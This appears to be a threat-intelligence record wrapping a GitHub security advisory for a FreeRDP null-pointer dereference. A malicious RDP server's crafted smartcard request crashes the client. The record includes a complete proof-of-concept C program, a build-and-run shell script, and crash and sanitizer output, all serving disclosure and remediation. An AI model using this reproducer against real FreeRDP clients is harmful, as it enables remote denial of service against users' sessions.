{"schema":"threatline.record/2","record":{"id":"GHSA-q6pp-28g8-xqjc","aliases":["GHSA-q6pp-28g8-xqjc"],"summary":"Null reader name in emulated smartcard request remotely crashes FreeRDP clients","details":"A malicious or compromised RDP server can terminate a connecting FreeRDP client when smartcard emulation is enabled. The server sends an `SCardGetStatusChangeA` or `SCardGetStatusChangeW` device-control request with `cReaders=1`, an allocated reader-state array, and a null NDR pointer for that entry's reader name.\r\n\r\nThe decoder accepts the request and returns an entry with `szReader == NULL`:\r\n\r\n```c\r\nif (!smartcard_ndr_pointer_read(log, s, ptrIndex, &ptr))\r\n{\r\n\tif (ptr != 0)\r\n\t\tgoto fail;\r\n}\r\nstates[index] = ptr != 0;\r\n```\r\n\r\nThe emulation backend then compares the remote name without validating it:\r\n\r\n```c\r\nif (strcmp(out->szReader, in->szReader) == 0)\r\n```\r\n\r\nThe W variant reaches the equivalent `_wcscmp` call. The result is a deterministic null-pointer dereference in the client process. A full-session replay carried the crafted request through real TLS/RDP, the negotiated RDPDR channel, FreeRDP's stock server serializer, and an unmodified client; the client exited 139 from `SIGSEGV`.\r\n\r\nSmartcard emulation was introduced during development of FreeRDP 3.0.0. The vulnerable decoder and comparison are present in 3.0.0, 3.31.1, the assessed development revision, and current master. No exact public duplicate or fix was found. GHSA-ph3q-f9w8-7jf3 and GHSA-78jj-45vh-jpm5 concern different smartcard null-dereference roots.\r\n\r\n## Impact\r\n\r\nAlice must initiate an RDP connection to Mallory's malicious or compromised server with smartcard emulation enabled and the smartcard device-service route available. Mallory needs no local privilege on Alice's client and no race or allocator shaping. One crafted reader-state entry terminates the FreeRDP process.\r\n\r\nThe demonstrated impact is availability loss only. Restarting the client restores the process, but Mallory can repeat the request on reconnection. Memory corruption, confidentiality loss, integrity loss, code execution, and a pre-authentication timing claim were not demonstrated.\r\n\r\n## Validation\r\n\r\nThe primary product replay used a real TLS/RDP session against an unmodified `xfreerdp` client at development revision `fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3`. The client negotiated RDPDR, announced its emulated smartcard, and reached the RDPDR user-logged-on state. A disposable server-side attachment added FreeRDP's stock `RdpdrServerContext` to `freerdp-shadow-cli`, which does not instantiate that context itself, then called the public `SmartcardEstablishContext` and `SmartcardGetStatusChangeA` APIs. FreeRDP's stock server library serialized and sent both requests. There was no client preload, client patch, target-tree modification, direct decoder call, or post-serialization wire mutation.\r\n\r\nThe safe control sent `FreeRDP Emulator`. It received a successful status-change completion and remained alive until deliberate `SIGTERM` cleanup. The attack used a matched session and the same operation with a null per-reader name. Client diagnostics reported the null argument in `Emulate_SCardGetStatusChangeA`, the client caught `SIGSEGV`, and it exited 139 before cleanup without returning a completion:\r\n\r\n```text\r\ncontrol: sent=1 completion_received=1 client_died_before_cleanup=0 client_rc=145\r\nattack:  sent=1 completion_received=0 client_died_before_cleanup=1 client_rc=139\r\n```\r\n\r\nStatus 145 in the control is deliberate cleanup, not a product failure. The product replay demonstrates post-logon network reachability and client-process availability loss; it does not establish a pre-authentication attack.\r\n\r\nThe packaged focused reproducer separately serializes the request with FreeRDP's production encoder, decodes those bytes with `smartcard_irp_device_control_decode_request`, and dispatches the result with `smartcard_irp_device_control_call`. This proves that the null arises from accepted request bytes rather than direct manipulation of an internal object.\r\n\r\nTwo existing builds were independently replayed:\r\n\r\n- FreeRDP 3.31.1 Release with `NDEBUG`, shared libraries, and `WITH_SMARTCARD_EMULATE=ON`.\r\n- Development revision `fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3` in an ASan/UBSan Debug build with the same feature enabled.\r\n\r\nFor each build, the control changed only the reader name from null to `FreeRDP Emulator`. The control returned successfully. The Release attack ended with `SIGSEGV` and status 139. The sanitizer build reported the null argument in `Emulate_SCardGetStatusChangeA`, followed by a segmentation fault in `strcmp`.\r\n\r\nSelected Release output:\r\n\r\n```text\r\ndecode_status=0x00000000 cReaders=1 reader_name=non-null\r\ndispatch_mode=control\r\ndispatch_returned status=0x00000000 io_status=0x00000000\r\nprocess_status=0 mode=control\r\ndecode_status=0x00000000 cReaders=1 reader_name=null\r\ndispatch_mode=null\r\nprocess_status=139 mode=null\r\n```\r\n\r\nSelected sanitizer output:\r\n\r\n```text\r\nAddressSanitizer:DEADLYSIGNAL\r\nERROR: AddressSanitizer: SEGV on unknown address 0x000000000000\r\n#0 strcmp\r\n#1 Emulate_SCardGetStatusChangeA\r\n#2 smartcard_GetStatusChangeA_Call\r\n#3 smartcard_irp_device_control_call\r\nSUMMARY: AddressSanitizer: SEGV in strcmp\r\nprocess_status=1 mode=null\r\n```\r\n\r\nThe full network runner was retained as validation evidence rather than included in this portable package because it was coupled to the disposable lab's existing display, credentials, certificates, dependency tree, and shadow-server attachment preload, and it contained unrelated validation cases. The source-only PoC below remains the practical disclosure reproducer.\r\n\r\n## Reproduction\r\n\r\nBuild FreeRDP as shared libraries with smartcard emulation enabled. From the report directory, run the valid control and then the null-name attack. The third argument is a colon-separated list of dependency library directories, or an empty string when the system loader already finds them:\r\n\r\n```sh\r\ncmake -S freerdp-src -B freerdp-build \\\r\n  -DCMAKE_BUILD_TYPE=Release \\\r\n  -DBUILD_SHARED_LIBS=ON \\\r\n  -DWITH_SMARTCARD_EMULATE=ON\r\ncmake --build freerdp-build --parallel\r\n\r\ncd poc\r\nulimit -c 0\r\n./run.sh ../freerdp-src ../freerdp-build \"\" control\r\n./run.sh ../freerdp-src ../freerdp-build \"\" null\r\n```\r\n\r\nThe null mode intentionally crashes the disposable test process.\r\n\r\n## Suggested remediation\r\n\r\nReject null per-reader name pointers in `smartcard_unpack_reader_state_a` and `smartcard_unpack_reader_state_w`. Also add null checks in `Emulate_SCardGetStatusChangeA/W` and return `SCARD_E_INVALID_PARAMETER` before calling `strcmp` or `_wcscmp`.\r\n\r\nAdd A/W regression tests for a valid reader name, zero readers, one null reader name, and a multi-reader array with a later null name. Exercise both Debug and `NDEBUG` builds.\r\n\r\n## Complete PoC files\r\n\r\n<!-- BEGIN FILE: poc/scard_getstatuschange_null.c -->\r\n\r\n```c\r\n/*\r\n * Reproducer for a NULL reader name in an emulated SCardGetStatusChangeA call.\r\n *\r\n * The request is encoded and decoded through FreeRDP's production smartcard\r\n * helpers before being dispatched through smartcard_irp_device_control_call().\r\n * Use \"control\" for a valid reader name and \"null\" for the crafted request.\r\n */\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include <winpr/crt.h>\r\n#include <winpr/smartcard.h>\r\n#include <winpr/stream.h>\r\n\r\n#include <freerdp/channels/rdpdr.h>\r\n#include <freerdp/channels/scard.h>\r\n#include <freerdp/freerdp.h>\r\n#include <freerdp/settings.h>\r\n#include <freerdp/utils/rdpdr_utils.h>\r\n#include <freerdp/utils/smartcard_call.h>\r\n#include <freerdp/utils/smartcard_operations.h>\r\n#include <freerdp/utils/smartcard_pack.h>\r\n\r\nstatic wStream* wrap_request(UINT32 ioControlCode, const wStream* inner)\r\n{\r\n\tconst size_t totalLength =\r\n\t    RDPDR_DEVICE_IO_CONTROL_REQ_HDR_LENGTH + Stream_Length(inner);\r\n\twStream* s = Stream_New(NULL, totalLength);\r\n\tif (!s)\r\n\t\treturn NULL;\r\n\r\n\tStream_Write_UINT32(s, 2048);\r\n\tStream_Write_UINT32(s, (UINT32)Stream_Length(inner));\r\n\tStream_Write_UINT32(s, ioControlCode);\r\n\tStream_Zero(s, 20);\r\n\tStream_Write(s, Stream_ConstBuffer(inner), Stream_Length(inner));\r\n\tStream_SealLength(s);\r\n\tif (!Stream_SetPosition(s, 0))\r\n\t\tabort();\r\n\treturn s;\r\n}\r\n\r\nstatic BOOL decode_request(SCARDCONTEXT hContext, const char* readerName,\r\n\t                       SMARTCARD_OPERATION* decoded)\r\n{\r\n\tSMARTCARD_OPERATION source = { 0 };\r\n\tsource.ioControlCode = SCARD_IOCTL_GETSTATUSCHANGEA;\r\n\tsource.call.getStatusChangeA.handles.hContext.cbContext = sizeof(SCARDCONTEXT);\r\n\tmemcpy(source.call.getStatusChangeA.handles.hContext.pbContext, &hContext,\r\n\t       sizeof(hContext));\r\n\tsource.call.getStatusChangeA.dwTimeOut = 0;\r\n\tsource.call.getStatusChangeA.cReaders = 1;\r\n\tsource.call.getStatusChangeA.rgReaderStates =\r\n\t    calloc(1, sizeof(SCARD_READERSTATEA));\r\n\tif (!source.call.getStatusChangeA.rgReaderStates)\r\n\t\treturn FALSE;\r\n\r\n\tif (readerName)\r\n\t{\r\n\t\tsource.call.getStatusChangeA.rgReaderStates[0].szReader = _strdup(readerName);\r\n\t\tif (!source.call.getStatusChangeA.rgReaderStates[0].szReader)\r\n\t\t\treturn FALSE;\r\n\t}\r\n\r\n\twStream* encoded = Stream_New(NULL, 4096);\r\n\tif (!encoded)\r\n\t\treturn FALSE;\r\n\tif (smartcard_irp_device_control_encode_request(encoded, &source) != SCARD_S_SUCCESS)\r\n\t\treturn FALSE;\r\n\r\n\twStream* request = wrap_request(SCARD_IOCTL_GETSTATUSCHANGEA, encoded);\r\n\tStream_Free(encoded, TRUE);\r\n\tif (!request)\r\n\t\treturn FALSE;\r\n\r\n\tSMARTCARD_OPERATION result = { 0 };\r\n\tconst LONG status = smartcard_irp_device_control_decode_request(request, 1, 0, &result);\r\n\tStream_Free(request, TRUE);\r\n\tsmartcard_operation_free(&source, FALSE);\r\n\r\n\tconst void* decodedName = NULL;\r\n\tif (result.call.getStatusChangeA.rgReaderStates)\r\n\t\tdecodedName = result.call.getStatusChangeA.rgReaderStates[0].szReader;\r\n\tprintf(\"decode_status=0x%08x cReaders=%u reader_name=%s\\n\", (unsigned)status,\r\n\t       result.call.getStatusChangeA.cReaders, decodedName ? \"non-null\" : \"null\");\r\n\tfflush(stdout);\r\n\r\n\tif ((status != SCARD_S_SUCCESS) ||\r\n\t    (result.call.getStatusChangeA.cReaders != 1) ||\r\n\t    (result.call.getStatusChangeA.rgReaderStates == NULL))\r\n\t{\r\n\t\tsmartcard_operation_free(&result, FALSE);\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\t*decoded = result;\r\n\treturn TRUE;\r\n}\r\n\r\nstatic BOOL establish_context(scard_call_context* callContext, SCARDCONTEXT* hContext)\r\n{\r\n\tSMARTCARD_OPERATION operation = { 0 };\r\n\toperation.ioControlCode = SCARD_IOCTL_ESTABLISHCONTEXT;\r\n\toperation.call.establishContext.dwScope = SCARD_SCOPE_USER;\r\n\toperation.outputBufferLength = 2048;\r\n\r\n\twStream* output = Stream_New(NULL, 4096);\r\n\tif (!output)\r\n\t\treturn FALSE;\r\n\tStream_Zero(output, RDPDR_DEVICE_IO_RESPONSE_LENGTH);\r\n\r\n\tNTSTATUS ioStatus = 0;\r\n\tconst LONG callStatus =\r\n\t    smartcard_irp_device_control_call(callContext, output, &ioStatus, &operation);\r\n\tif (callStatus != SCARD_S_SUCCESS)\r\n\t\treturn FALSE;\r\n\r\n\tif (!Stream_SetPosition(output, RDPDR_DEVICE_IO_RESPONSE_LENGTH))\r\n\t\treturn FALSE;\r\n\tSMARTCARD_OPERATION response = { 0 };\r\n\tconst LONG decodeStatus = smartcard_irp_device_control_decode_response(\r\n\t    output, SCARD_IOCTL_ESTABLISHCONTEXT, &response);\r\n\tStream_Free(output, TRUE);\r\n\tif ((decodeStatus != SCARD_S_SUCCESS) ||\r\n\t    (response.ret.establishContext.hContext.cbContext != sizeof(SCARDCONTEXT)))\r\n\t{\r\n\t\tsmartcard_operation_free(&response, FALSE);\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\tmemcpy(hContext, response.ret.establishContext.hContext.pbContext,\r\n\t       sizeof(*hContext));\r\n\tsmartcard_operation_free(&response, FALSE);\r\n\treturn TRUE;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif ((argc != 2) || ((strcmp(argv[1], \"null\") != 0) &&\r\n\t                    (strcmp(argv[1], \"control\") != 0)))\r\n\t{\r\n\t\tfprintf(stderr, \"usage: %s null|control\\n\", argv[0]);\r\n\t\treturn 2;\r\n\t}\r\n\r\n\tconst BOOL attack = strcmp(argv[1], \"null\") == 0;\r\n\trdpSettings* settings = freerdp_settings_new(0);\r\n\tfreerdp instance = { 0 };\r\n\trdpContext context = { 0 };\r\n\tinstance.context = &context;\r\n\tcontext.instance = &instance;\r\n\tcontext.settings = settings;\r\n\tif (!settings ||\r\n\t    !freerdp_settings_set_pointer(settings, FreeRDP_instance, &instance) ||\r\n\t    !freerdp_settings_set_bool(settings, FreeRDP_SmartcardEmulation, TRUE))\r\n\t\treturn 3;\r\n\r\n\tscard_call_context* callContext =\r\n\t    smartcard_call_context_new_with_context(&context);\r\n\tif (!callContext)\r\n\t\treturn 4;\r\n\r\n\tSCARDCONTEXT hContext = 0;\r\n\tif (!establish_context(callContext, &hContext))\r\n\t\treturn 5;\r\n\r\n\tSMARTCARD_OPERATION decoded = { 0 };\r\n\tconst char* readerName = attack ? NULL : \"FreeRDP Emulator\";\r\n\tif (!decode_request(hContext, readerName, &decoded))\r\n\t\treturn 6;\r\n\r\n\twStream* output = Stream_New(NULL, 4096);\r\n\tif (!output)\r\n\t\treturn 7;\r\n\tNTSTATUS ioStatus = 0;\r\n\tprintf(\"dispatch_mode=%s\\n\", argv[1]);\r\n\tfflush(stdout);\r\n\tconst LONG status =\r\n\t    smartcard_irp_device_control_call(callContext, output, &ioStatus, &decoded);\r\n\tprintf(\"dispatch_returned status=0x%08x io_status=0x%08x\\n\", (unsigned)status,\r\n\t       (unsigned)ioStatus);\r\n\treturn 0;\r\n}\r\n```\r\n\r\n<!-- END FILE: poc/scard_getstatuschange_null.c -->\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nif [ \"$#\" -lt 3 ] || [ \"$#\" -gt 4 ]; then\r\n\techo \"usage: $0 SOURCE_TREE BUILD_TREE DEPENDENCY_LIBRARY_DIR [control|null]\" >&2\r\n\texit 2\r\nfi\r\n\r\nsource_tree=$1\r\nbuild_tree=$2\r\ndependency_library_dir=$3\r\nmode=${4:-null}\r\n\r\ncase \"$mode\" in\r\n\tcontrol|null) ;;\r\n\t*)\r\n\t\techo \"mode must be control or null\" >&2\r\n\t\texit 2\r\n\t\t;;\r\nesac\r\n\r\nscript_dir=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nwork_root=${POC_WORK_ROOT:-$script_dir}\r\nwork_dir=$(mktemp -d \"$work_root/scard-null.XXXXXX\")\r\ntrap 'rm -rf \"$work_dir\"' EXIT HUP INT TERM\r\n\r\nsanitizer_flags=\r\nif [ -n \"${POC_SANITIZERS:-}\" ]; then\r\n\tsanitizer_flags=\"-fsanitize=$POC_SANITIZERS -fno-omit-frame-pointer\"\r\nfi\r\n\r\n# sanitizer_flags is intentionally word-split into compiler options.\r\n# shellcheck disable=SC2086\r\ncc -O1 -g -Wno-deprecated-declarations \\\r\n\t$sanitizer_flags \\\r\n\t-I\"$source_tree/include\" \\\r\n\t-I\"$source_tree/winpr/include\" \\\r\n\t-I\"$build_tree/include\" \\\r\n\t-I\"$build_tree/winpr/include\" \\\r\n\t\"$script_dir/scard_getstatuschange_null.c\" \\\r\n\t-L\"$build_tree/libfreerdp\" \\\r\n\t-L\"$build_tree/winpr/libwinpr\" \\\r\n\t-Wl,--allow-shlib-undefined \\\r\n\t-Wl,-rpath,\"$build_tree/libfreerdp\" \\\r\n\t-Wl,-rpath,\"$build_tree/winpr/libwinpr\" \\\r\n\t-lfreerdp3 -lwinpr3 \\\r\n\t-o \"$work_dir/scard_getstatuschange_null\"\r\n\r\nruntime_path=\"$build_tree/libfreerdp:$build_tree/winpr/libwinpr:$dependency_library_dir\"\r\nif [ -n \"${LD_LIBRARY_PATH:-}\" ]; then\r\n\truntime_path=\"$runtime_path:$LD_LIBRARY_PATH\"\r\nfi\r\n\r\nset +e\r\nLD_LIBRARY_PATH=\"$runtime_path\" \\\r\n\ttimeout 10 \"$work_dir/scard_getstatuschange_null\" \"$mode\"\r\nstatus=$?\r\nset -e\r\n\r\necho \"process_status=$status mode=$mode\"\r\nif [ \"$mode\" = control ]; then\r\n\t[ \"$status\" -eq 0 ]\r\nelse\r\n\tcase \"$status\" in\r\n\t\t1|134|139) ;;\r\n\t\t*) exit 1 ;;\r\n\tesac\r\nfi\r\n```\r\n\r\n<!-- END FILE: poc/run.sh -->","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-q6pp-28g8-xqjc","source_modified_at":"2026-10-05T20:29:05Z","fetched_at":"2026-10-28T08:18:35.509402Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-q6pp-28g8-xqjc","source_modified_at":"2026-10-05T20:29:05Z","fetched_at":"2026-10-28T08:18:35.509402Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-05T20:29:05Z","modified_at":"2026-10-05T20:29:05Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-q6pp-28g8-xqjc","fetched_at":"2026-10-28T08:18:35.509402Z","source_modified_at":"2026-10-05T20:29:05Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-05T20:29:05Z","content_hash":"ea2fcc3b1aa56b035cf7dd152ed7c188d7267b0a1db2ec992cdde1911e3d2a78"}}
